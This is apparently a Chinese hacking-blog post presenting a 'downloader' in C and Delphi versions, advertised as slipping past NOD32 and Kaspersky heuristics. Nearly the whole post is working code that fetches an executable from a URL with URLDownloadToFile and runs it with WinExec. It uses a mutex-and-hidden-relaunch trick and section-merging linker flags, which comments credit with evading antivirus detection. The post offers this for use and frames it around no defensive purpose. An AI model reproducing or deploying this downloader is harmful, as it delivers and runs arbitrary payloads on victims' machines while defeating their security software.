导航

心动吧DELPHI网络书

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« 未命名文章ActiveX启动下载者(delphi) »

最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]

VC版本:

#pragma comment(lib, "urlmon.lib")
#include
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text")

int DownExeTest()
{
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, FALSE, "TestC");
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
}
}
else
{
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
ExitProcess(-1);
}
}
return 0;
}
/*
int DownExe()
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
return 0;
}
*/
int Simen()
{
//DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
return 0;

Delphi版本:

 

program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end else
begin
WinExec(pchar(paramstr(0)),SW_HIDE);
end;
end;
end;

{
procedure DownExe();
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end;
}

begin
// DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
end.

}

 

原创文章如转载,请注明:转载自心动吧DELPHI网络书 [ http://www.abcxd.com/delphi/ ]

本文链接地址:http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-down.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

热文排行使用

本年排行使用

本月排行使用

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved